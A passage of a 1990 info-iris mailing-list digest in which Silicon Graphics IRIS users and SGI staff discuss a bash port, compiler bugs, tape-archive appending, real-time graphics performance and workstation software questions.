************************************************************ * John H. Yates , Ph.D. * * Director of the Chemistry Computer Facility This * * Department of Chemistry space * * University of Pennsylvania for * * Philadelphia, PA 19104 rent. * * yates@a.chem.upenn.edu (INTERNET) * * (215)898-4714 * **************************************************************   Received: from vmb.brl.mil by VMB.BRL.MIL id aa04476; 10 Apr 90 15:31 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa03933; 10 Apr 90 15:00 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa03628; 10 Apr 90 14:42 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa07431; 10 Apr 90 14:31 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA16726; Tue, 10 Apr 90 11:19:07 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 10 Apr 90 17:59:14 GMT From: Paul Connally Organization: University of Colorado, Boulder Subject: Re: bash Message-Id: <19515@boulder.Colorado.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL > > Does anyone have the diffs for BASH 1.05 (or know a reliable > place to get them)? I have it "kind-of" running. It executes the > first given command fine but on the second command it seems to freeze > up on sigpause(SIGCHLD) in wait_for() in jobs.c just after executing > the second command. Sorry. I'm doing this on a PI running 3.1D. Paul Connally paulc@boulder.colorado.edu University of Colorado High Voltage Electron Microscope Lab MCDB - Box 347 "A higher potential for Boulder, CO 80309 better penetration."   Received: from vmb.brl.mil by VMB.BRL.MIL id aa07412; 10 Apr 90 17:13 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa07181; 10 Apr 90 17:02 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa06952; 10 Apr 90 16:48 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa19075; 10 Apr 90 16:00 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA22672; Tue, 10 Apr 90 12:47:25 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 10 Apr 90 19:18:14 GMT From: Pablo Fernicola Organization: UF CIS Department Subject: Slow Down on Personal Iris Message-Id: <22864@uflorida.cis.ufl.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL After upgrading our Personal Iris 4D/20, with the z-buffer upgrade, I noticed that programs (like the demos) run significantly slower. Did I do something wrong? Did I forget to set something? Thanks! Pablo -- pff@beach.cis.ufl.edu - Pablo Fernicola - Machine Intelligence Laboratory - UF IF YOU CARE ENOUGH TO READ SIGNATURES ... I am graduating Spring 1990 and I am looking for a job. (It's going fast!) MS EE, my graduate work incorporates OO-DBMS/Graphics/Robotics/AI   Received: from vmb.brl.mil by VMB.BRL.MIL id aa07989; 10 Apr 90 18:47 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab07884; 10 Apr 90 18:36 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa07865; 10 Apr 90 18:22 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa25214; 10 Apr 90 18:17 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA01774; Tue, 10 Apr 90 15:07:30 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 10 Apr 90 19:03:38 GMT From: Deb Ryan Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: C compiler optimization bug? Message-Id: <56303@sgi.sgi.com> References: <1990Apr7.190012.22354@jarvis.csri.toronto.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1990Apr7.190012.22354@jarvis.csri.toronto.edu>, lansd@dgp.toronto.edu (Robert Lansdale) writes: > > --------------------------------------------------------------------------- > > /* Calculate weights and Col at each of the points */ > wt0 = xLowWt * yLowWt; > wt1 = xLowWt * yHighWt; > wt2 = xHighWt * yLowWt; > wt3 = xHighWt * yHighWt; > c0 = text[yLow * size + xLow]; > c1 = text[yHigh * size + xLow]; > c2 = text[yLow * size + xHigh]; > c3 = text[yHigh * size + xHigh]; > > /* Calculate averaged colour */ > col.r = (c0.r * wt0 + c1.r * wt1 + c2.r * wt2 + c3.r * wt3) / 255.0; > col.g = (c0.g * wt0 + c1.g * wt1 + c2.g * wt2 + c3.g * wt3) / 255.0; > col.b = (c0.b * wt0 + c1.b * wt1 + c2.b * wt2 + c3.b * wt3) / 255.0; > > #if 0 > printf("Weights: wt0 = %g, wt1 = %g, wt2 = %g, wt3 = %g\n", wt0, wt1, wt2, wt3); > printf("Red colours: 0 = %d, 1 = %d, 2 = %d, 3 = %d\n", c0.r, c1.r, c2.r, c3.r); > #endif > printf("Colour = %g, %g, %g\n", col.r, col.g, col.b); > > return (col); > } I've looked at an executable version of this code. There was an optimizer bug in 3.2. It has been fixed, and will be available in the next release. -Deb deb@sgi.com Deborah Ryan Caruso @ Silicon Graphics   Received: from vmb.brl.mil by VMB.BRL.MIL id aa08151; 10 Apr 90 19:29 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa07884; 10 Apr 90 18:36 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa07856; 10 Apr 90 18:21 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa24951; 10 Apr 90 17:46 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA29880; Tue, 10 Apr 90 14:37:36 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 10 Apr 90 20:45:30 GMT From: John H Merritt Organization: Goddard Space Flight Center Climate and Radiation Branch Subject: Re: tn3270 on SGI Message-Id: <1603@dftsrv.gsfc.nasa.gov> References: <9004101713.AA00583@remote.dccs.upenn.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004101713.AA00583@remote.dccs.upenn.edu> YATES@A.CHEM.UPENN.EDU ("YATES, JOHN H.") writes: >Has tn3270 (for talking to IBM mainframes) been successfully >ported to SGI? Available anonymous ftp from iris613.gsfc.nasa.gov. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John H. Merritt # Yesterday I knew nothing, Applied Research Corporation # Today I know that. merritt@iris613.gsfc.nasa.gov #   Received: from vmb.brl.mil by VMB.BRL.MIL id aa09399; 10 Apr 90 22:04 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa09344; 10 Apr 90 21:54 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa09303; 10 Apr 90 21:35 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa25937; 10 Apr 90 21:16 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA14124; Tue, 10 Apr 90 18:12:14 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 10 Apr 90 15:56:26 GMT From: "Gregory D. Swedberg" Organization: The Aerospace Corporation, El Segundo, CA Subject: Re: graphics performance questions Message-Id: <70533@aerospace.AERO.ORG> References: <5951@udccvax1.acs.udel.EDU>, <70128@aerospace.AERO.ORG>, <55980@sgi.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I have provided a small program to Gretchen which illustrates both problems. She should be able to give you the code if you need it.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa09694; 10 Apr 90 22:47 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa09646; 10 Apr 90 22:36 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa09594; 10 Apr 90 22:24 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa26304; 10 Apr 90 22:16 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA17534; Tue, 10 Apr 90 19:08:35 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 10 Apr 90 16:59:53 GMT From: Tom Weinstein Organization: Silicon Graphics Inc. Subject: Re: bash (Bourne Again SHell) Message-Id: References: <19489@boulder.Colorado.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <19489@boulder.Colorado.EDU> paulc@boulder.colorado.edu (Paul Connally) writes: Does anyone have the diffs for BASH 1.05 (or know a reliable place to get them)? I have it "kind-of" running. It executes the first given command fine but on the second command it seems to freeze up on sigpause(SIGCHLD) in wait_for() in jobs.c just after executing it. Any help is greatly appreciated! Paul Connally paulc@boulder.colorado.edu Brian Fox and I are currently working on this. Hopefully we will have it working soon. -- Tom Weinstein Silicon Graphics, Inc., Entry Systems Division, Window Systems jsw@xhead.esd.sgi.com Any opinions expressed above are mine, not sgi's.   Received: from vmb.brl.mil by VMB.BRL.MIL id ab09694; 10 Apr 90 22:47 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab09646; 10 Apr 90 22:36 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ab09594; 10 Apr 90 22:24 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa26306; 10 Apr 90 22:16 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA17491; Tue, 10 Apr 90 19:08:01 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 10 Apr 90 22:12:14 GMT From: Mark Callow Organization: Silicon Graphics Inc., Entry Systems Division Subject: Re: Cannot find window slot in shared memory Message-Id: <6214@odin.corp.sgi.com> References: <1990Apr4.175545.8339@alias.uucp> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1990Apr4.175545.8339@alias.uucp>, mark@alias.uucp (Mark Andrews) writes: > We are running Irix 3.2 on a 4D/25G. Occasionally, when we run a graphics > program, we get the errror "Cannot find window slot in shared memory". What > does it mean and what causes it? > > When the message occurs, I have been telling people to quit and restart > 4sight and the problem should disappear! Is this a "solution" or just a > coincidence? > I know of 2 things that cause this message. One is running a program linked with a GT or Personal IRIS GL on a 4D/xxG machine. The second is a bug in subwindow handling in 4Sight whereby it fails to free the window slot when a subwindow is closed. This is fixed in the next release (3.n, where n is probably 3). Restarting 4Sight is indeed a "solution". -- From the TARDIS of Mark Callow msc@ramoth.sgi.com, ...{ames,decwrl}!sgi!msc "There is much virtue in a window. It is to a human being as a frame is to a painting, as a proscenium to a play. It strongly defines its content."   Received: from vmb.brl.mil by VMB.BRL.MIL id aa09852; 10 Apr 90 23:15 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa09474; 10 Apr 90 22:21 EDT Received: from adm.brl.mil by VMB.BRL.MIL id aa09447; 10 Apr 90 22:11 EDT Received: from ucbvax.Berkeley.EDU by ADM.BRL.MIL id aa20757; 10 Apr 90 22:04 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA16951; Tue, 10 Apr 90 18:59:47 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 10 Apr 90 20:13:36 GMT From: Dave Olson Subject: Re: appending to tape archives Message-Id: <6205@odin.corp.sgi.com> References: <127@cutmcvax.OZ> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <127@cutmcvax.OZ> architec@cutmcvax.OZ (Phil Dench ) writes: | All this talk about mag tapes has reminded me to post the following. | Does anyone know how to append to existing data on a 1/4" streamer | cartridge mag tape? | I used to be able to do this under 3.1 (but always suspected it was a | bug not a feature) ... | fd = check_open( "/dev/tape", O_WRONLY | O_APPEND); | ... and any subsequent writes would happily append. Are you SURE of this? To my knowledge none of the tape drivers for the 4D series have ever paid any attention to O_APPEND, so it would have been treated the same as O_WRONLY and started writing at BOT, or EOD, depending on your current tape position. | Now under 3.2 this just overwrites the first file on the tape. | Anything else I try does the same sort of thing. I cant even do a fsf | then a write because of (from mtio(1)) ... | A tape is normally open for reading and/or writing, but a tape | cannot be read and written simultaneously. After a rewind, an | unload, or an MTAFILE ioctl, writes may follow reads and | vice-versa ... | A rewind is no good to me. MTAFILE doesn't work on a 1/4". And am I | correct in assuming the unload is just an 'mt offline'? unload is almost the same as offline for most drives. The difference is that unload will actually eject the tape for drives that support it. You can do an 'mt feom' to position the tape at endofdata (EOD), and then append new data, but you can't do an append in the 9track sense, where there is no FM between the old and new data (and in the case of tar, the block of 0's at the end is also backspaced over). The QIC standard does not allow for this, and none of our supported QIC drives allow it either. | It would be real useful if I could append. Cartridge tapes cost $60 | Australian here. I don't want to use one for each little project that | I'm archiving. And I dont really want to restore all the old ones on a | tape just to write them all back with a new one on the end. If you can accept multiple archives on the tape, then this sequence will work. If you keep track of the archive number, you can use mt fsf # to space to the one you want to list or extract from. Unfortunately, there is a bug in the 3.2 tape driver that causes this sequence to not work reliably for all drives; when it doesn't work, the first archive can be overwritten. So if the 'mt status' doesn't show EOD, then don't do the tar cv! first archive: tar cv .... 2nd thru N: mt feom; mt status; tar cv ... listing, you can do: tar vtf /dev/nrtape; tar vtf /dev/nrtape; tar vtf /dev/nrtape; ... or mt fsf N; tar vt If you don't specify the nrtape device, it will rewind at the end, but it will NOT rewind or reposition before writing if you are at BOT, FM, or EOD. Hope this helps. Dave Olson Life would be so much easier if we could just look at the source code.   Received: from vmb.brl.mil by VMB.BRL.MIL id ab09852; 10 Apr 90 23:15 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa09756; 10 Apr 90 23:04 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa09692; 10 Apr 90 22:47 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa26347; 10 Apr 90 22:31 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA18417; Tue, 10 Apr 90 19:22:08 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 10 Apr 90 17:20:56 GMT From: Tom Weinstein Organization: Silicon Graphics Inc. Subject: Re: bash (Bourne Again SHell) Message-Id: References: <19489@boulder.Colorado.EDU>, Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Whoops. I put the wrong .signature at the end of the last article. Here's the right one. -- Tom Weinstein Silicon Graphics, Inc., Entry Systems Division, Window Systems tomw@orac.esd.sgi.com Any opinions expressed above are mine, not sgi's.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa10016; 10 Apr 90 23:52 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa09907; 10 Apr 90 23:31 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa09901; 10 Apr 90 23:21 EDT Received: from wugate.wustl.edu by SMOKE.BRL.MIL id aa26466; 10 Apr 90 23:10 EDT Received: by wugate.wustl.edu (5.61++/WUSTL-0.3) with SMTP id AA09864; Tue, 10 Apr 90 22:10:43 -0500 Received: by castor.wustl.edu (5.52/890607.SGI) (for @wugate.wustl.edu:info-iris@BRL.MIL) id AA09629; Tue, 10 Apr 90 22:10:27 CDT Date: Tue, 10 Apr 90 22:10:27 CDT From: "Martin S. Weinhous" Message-Id: <9004110310.AA09629@castor.wustl.edu> To: info-iris@BRL.MIL Subject: SGI and Macs ??? Cc: weinhous@castor.wustl.edu The "Notes from the Field" column (by Robert X. Cringely) in the most recent INFOWORLD spoke of SGI having 'an enormous both at MacWorld' (this week in San Fran). The article further implies that SGI is planning to announce (this summer) a board for the Mac. We run both Macs and Irises and are therefore very curious. Can anyone speak authoritatively on what's cooking? If necessary, my land line # is 314/362-2600. Thanks in advance. (Standard disclaimers). -- Marty Weinhous weinhous@castor.wustl.edu Radiation Oncology, Washington U. !uunet!wucs1!dinorah!weinhous St. Louis, MO 63105, 314/362-2600   Received: from vmb.brl.mil by VMB.BRL.MIL id aa17617; 11 Apr 90 10:47 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa16316; 11 Apr 90 10:15 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa16202; 11 Apr 90 10:04 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa03858; 11 Apr 90 9:48 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA28845; Wed, 11 Apr 90 06:36:38 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 11 Apr 90 13:28:43 GMT From: Nicholas Tarnoff Organization: National Institute of Standards and Technology Subject: Re: appending to tape archives Message-Id: <3781@marvin.cme.nist.gov> References: <127@cutmcvax.OZ> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I tried to email this message but it bounced. ----- Transcript of session follows ----- 421 Host cutmcvax.oz not found for mailer ether. 550 ... Host unknown I do incremental backups automatically from cron. You should: mt rewind mt feom #Forward space to end of recorded data. #This allows adding new partitions to #already partially written tape. bru -c -vf /dev/nrtape -s <###M such as 150M> I also use -BR and -n options. See the man page for bru. Good luck. -Nicholas -------------------------------------------------------------------- NAME: Nicholas Tarnoff (Robot Systems Division) USMAIL:National Institute of Standards and Technology (formerly NBS) Bldg. 220 / Rm B127 Gaithersburg, MD 20899 TELE: (301) 975-3464 ARPA: tarnoff@cme.nist.gov FAX: (301) 990-9688 UUCP: uunet!cme-durer!tarnoff --------------------------------------------------------------------   Received: from vmb.brl.mil by VMB.BRL.MIL id aa21455; 11 Apr 90 14:40 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa21080; 11 Apr 90 14:29 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ab21043; 11 Apr 90 14:20 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa10868; 11 Apr 90 14:16 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA17563; Wed, 11 Apr 90 11:10:57 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 11 Apr 90 16:02:24 GMT From: psuvm!sml108@psuvax1.cs.psu.edu Organization: Penn State University Subject: weird graphics op... Message-Id: <90101.120225SML108@psuvm.psu.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Should the command rmv2i(0,0) have no effect whatsoever? In a program I am writing, the following two sequences have different effects.. rmv2i(0,0) rdr2i(0,10) and rdr2i(0,10) on its own. The manual states that these are relative moves, but they don't seem to act like them... Scott Le Grand aka sml108@psuvm.psu.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id aa21866; 11 Apr 90 15:01 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa20839; 11 Apr 90 14:02 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa20748; 11 Apr 90 13:42 EDT Received: from uunet.UU.NET by SMOKE.BRL.MIL id aa09598; 11 Apr 90 13:34 EDT Received: from lsr-vax.UUCP by uunet.uu.net (5.61/1.14) with UUCP id AA15448; Wed, 11 Apr 90 13:35:05 -0400 Received: from lsr-sunc. by (4.1/SMI-4.0) id AA07506; Wed, 11 Apr 90 13:23:06 EDT Date: Wed, 11 Apr 90 13:23:06 EDT From: "Lance M. Optican - LMO" Message-Id: <9004111723.AA07506@> To: uunet!brl.mil!info-iris@uunet.uu.net To: Info-Iris Subject: Animation at 60 fps I would like some advice on using graphics computers for Real-Time Animation of OPTICAL FLOW. This would allow us to simulate the visual effects of self- or relative-motion between an observer and the environment. Our application is to study how the brain deals with visual motion. I need to update the screen 60 times per second, and I want to run with something like a Stereographics Co. adapter to get stereo. In 80% of our cases, we can pre-compute the images, and load them like a movie at 60 fps. In the other 20% of our cases, we would like to move the image under interactive control of the user. The images we currently use are fields of up to 10,000 random dots (not stereo), precomputed and then DMA-pumped into an EGA card on a PC-AT (Intel 80286). We would like to use some more realistic objects, in addition to the dot fields. I have tested some sample code on SGI 4D-25TG, 4D-70GT, and 4D-120GTX machines. The 4D-25TG seems unable to run above 30 fps (even when displaying only 100 dots). There was also a strange BUG on the 4d-25TG that showed up when I ran a program that simulated a stop-watch. I tried to update the position of the sweep hand every frame. At every multiple of 45 degrees around the compass, the sweep hand slows down or speeds up by about a factor of two! SGI's Chuck Molyneaux saw this test, but was mystified as to the source of the problem. I suspect it may be a mistake in the microcode that does vectors. Could the code be some kind of Bresenham's algorithm, but written only for slope of line between 0 and 1? For other slopes, the points would then first have to be transformed to reverse the end points and invert the slope, thereby slowing down the machine enough to miss a frame. I could get simple dot fields on the GT machines to run at 60 fps, but only if the number of dots was limited (about 2000 dots). I also run into trouble when trying to do stereo, for which I am using a modification of the "Iris Universe" program for changing the perspective of the left & right viewpoints. The problem seems to be that the screen clear (czclear()) takes about 8 msec, and the viewing transformations are also slow. At the suggestion of Nancy Marks of SGI, I have turned these transformations into objects, but that has not speeded things up enough to increase the dot fields even to the complexity we get now on the PC-AT! I would appreciate any advice on how to make the Iris 4D-85GT run faster in this application. (Budgetary restrictions (about $50K) prevent us from moving up to the new 4D-xxxVGX system, even though it is almost an order of magnitude faster.) Also, if anyone knows of alternative approaches (such as video frame buffers that can show 1024x1024 resolution images at 60 fps) I would like to hear about them. All of these applications would have to run under a real-time Irix kernel to be of any use, since we can't have the displayed image jerking as the operating system decides to do things. Thus, if anyone has any experience with the SGI real-time Irix used in animation, I would like to hear about it. As always, my ordering deadline is imminent! Any information reaching me before April 15 will be greatly appreciated! Thanks, Lance Optican National Eye Institute Bethesda, Maryland (uunet!lsr-vax!lmo)   Received: from vmb.brl.mil by VMB.BRL.MIL id ac21866; 11 Apr 90 15:08 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab21455; 11 Apr 90 14:50 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa21326; 11 Apr 90 14:30 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa10948; 11 Apr 90 14:20 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA16986; Wed, 11 Apr 90 11:02:59 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 11 Apr 90 14:01:10 GMT From: "Loren (Buck" MMDF-Warning: Parse error in original version of preceding line at BRL.MIL Organization: Computer Sciences Corporation @ NASA Goddard Space Flight Center Subject: Re: Personal IRIS Neophyte asks dumb questions... Message-Id: <1610@dftsrv.gsfc.nasa.gov> References: <1520@polari.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1520@polari.UUCP> tima@polari (tim anderson) writes: >First, I really really want to network my PC to this thing. What do >I have to do to get this working? I know step one is to get a WD8003 >ethernet card, but beyond that I am a bit lost... We use Sun's PC-NFS. From the PCs (IBM clones and an Amiga 1000) we can telnet and ftp from the IRIS. we also use the IRIS as a file server to the PCs. >Third, I want a NON BRAIN DEAD EDITOR, I use BRIEF religiously on my PC >and will SORELY miss using it. I really do not want to get very good at >'vi'... I would suggest that you seriously look at vi. I use it on my PC at home for most of my editing. It does not get in my way, and has features that do not exist in the other editors I use. The big advantage to vi is that is available on every UNIX system, and will be the first (and possibly only) editor to be standardized by POSIX. Good Luck & B Cing U Buck Loren "Buck" Buchanan | internet: buck@drax.gsfc.nasa.gov | standard disclaimer CSC, 1100 West St. | uucp: ...!ames!dftsrv!drax!buck | "By the horns of a Laurel, MD 20707 | phonenet: (301) 497-2531 or 9898 | sky demon..."   Received: from vmb.brl.mil by VMB.BRL.MIL id aa22292; 11 Apr 90 15:19 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab21080; 11 Apr 90 14:29 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ac21043; 11 Apr 90 14:20 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa10878; 11 Apr 90 14:16 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA17453; Wed, 11 Apr 90 11:09:32 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 11 Apr 90 13:15:41 GMT From: psuvm!rie@psuvax1.cs.psu.edu Organization: Penn State University Subject: Saving files under Sun PC-NFS Message-Id: <90101.091541RIE@psuvm.psu.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL After editing a file in my PC/AT whenever I want to save the file directly on our Personal Iris using Sun PC-NFS i get the message 'Disk Full' and the file is not saved. However if i want to copy a file from the PC hard disk (as diffent from direct memory) to the PI using PC-NFS there is no problem. Has anybody else faced similar problems? I would appreciate your suggestions to rectify this problem. Subhransu Roy E-mail: s3r@ecl.psu.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id ab22292; 11 Apr 90 15:19 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab21866; 11 Apr 90 15:08 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa21600; 11 Apr 90 14:45 EDT Received: from gemini.arc.nasa.gov by SMOKE.BRL.MIL id aa11656; 11 Apr 90 14:42 EDT Received: Wed, 11 Apr 90 11:43:52 PDT by gemini.arc.nasa.gov (5.57/1.2) Received: Wed, 11 Apr 90 11:43:42 PDT by gemini.arc.nasa.gov (5.57/1.2) From: "RICHARD P. SIMONIAN" Date: Wed, 11 Apr 90 11:17 PDT Message-Id: To: INFO-IRIS@BRL.MIL Subject: Demos X-Lines: 15 We're looking for flashy graphics demos for the 4D/25 (with the Turbo graphics board), particularly demos relating to aerospace. We've been trying to get some through SGI, but to no avail. So now I'm appealing to the user community. Does anyone know of anything suitable, perhaps in ftp archives? We would like to use such demos as part of a Space Congress presentation, along with the applications we've developed. Thanks in advance. Rick Simonian Harris Space Systems Corp rsimonian@nasamail.nasa.gov or... rsimonian%nasamail@ames.arc.nasa.gov   Received: from vmb.brl.mil by VMB.BRL.MIL id aa23390; 11 Apr 90 16:32 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa23274; 11 Apr 90 16:21 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa23151; 11 Apr 90 16:03 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa13585; 11 Apr 90 15:47 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA23084; Wed, 11 Apr 90 12:42:21 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 11 Apr 90 19:02:10 GMT From: Susan miller2%Cohen Organization: University of California, San Francisco Subject: EMACS customization Message-Id: <13695@cgl.ucsf.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Can someone tell me how to customize the EMACS editor for use with a Silicon Graphics IRIS workstation? I would like to be able to use the function keys at the top and the arrow keys particularly, but also other keys on the keyboard which have no printed value. At the moment I'm getting an error message about the key codes I'm using (down arrow for instance is ^[[A if one can believe the quoted-insert response but this code gives problems in fact). Susan Miller   Received: from vmb.brl.mil by VMB.BRL.MIL id aa24384; 11 Apr 90 19:12 EDT Received: from vmb.brl.mil by VMB.brl.MIL id aa24331; 11 Apr 90 19:02 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa24319; 11 Apr 90 18:47 EDT Received: from Icarus2.AE.MsState.Edu by SMOKE.BRL.MIL id aa16008; 11 Apr 90 18:43 EDT Received: by Icarus2.AE.MsState.Edu (4.1/5.0s); id AA02379; Wed, 11 Apr 90 17:48:51 CDT Date: Wed, 11 Apr 90 17:48:51 CDT From: Larry Thorne Message-Id: <9004112248.AA02379@Icarus2.AE.MsState.Edu> To: info-iris@BRL.MIL Subject: graphing software for SGI We've just moved several of our people from Suns to Personal Iris machines (4D/25TGs) and they really miss the graphing/plotting package that they were using called grtool. This is about the handiest package to graph/plot 2D data that I've seen, and produces all sorts of output (Postscript, etc., etc.). Unfortunately, it only runs on Suns, but the author is planning to port it to X. In the meantime, does anyone know of software that runs on SGI machines that provides 2D graphing capabilities? I'm looking for something extremely versatile & easy to use that produces Postscript output, can be driven by parameter files, etc. PD preferred, but I'm willing to consider others. Thanks in advance! Larry Thorne larryt@ae.msstate.edu   Received: from vmb.brl.mil by VMB.brl.MIL id ab24436; 11 Apr 90 19:39 EDT Received: from vmb.brl.mil by VMB.brl.MIL id ac24384; 11 Apr 90 19:21 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa24373; 11 Apr 90 19:09 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa16116; 11 Apr 90 19:01 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA04768; Wed, 11 Apr 90 15:50:26 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 11 Apr 90 22:25:10 GMT From: Kurtis MacFerrin Organization: Schreiber Group (Harvard Chemistry Department) Subject: Any GIF viewers for IRIS 4D? Message-Id: <2538@husc6.harvard.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Does anyone know of any GIF viewers for IRIS 4D machines? We have an IRIS 4D/85GTB running IRIX 3.2.1. I tried to make an X windows GIF viewer, but it failed since we didn't have an Xos.h file which it required (is this for Suns only?) If someone could send me a 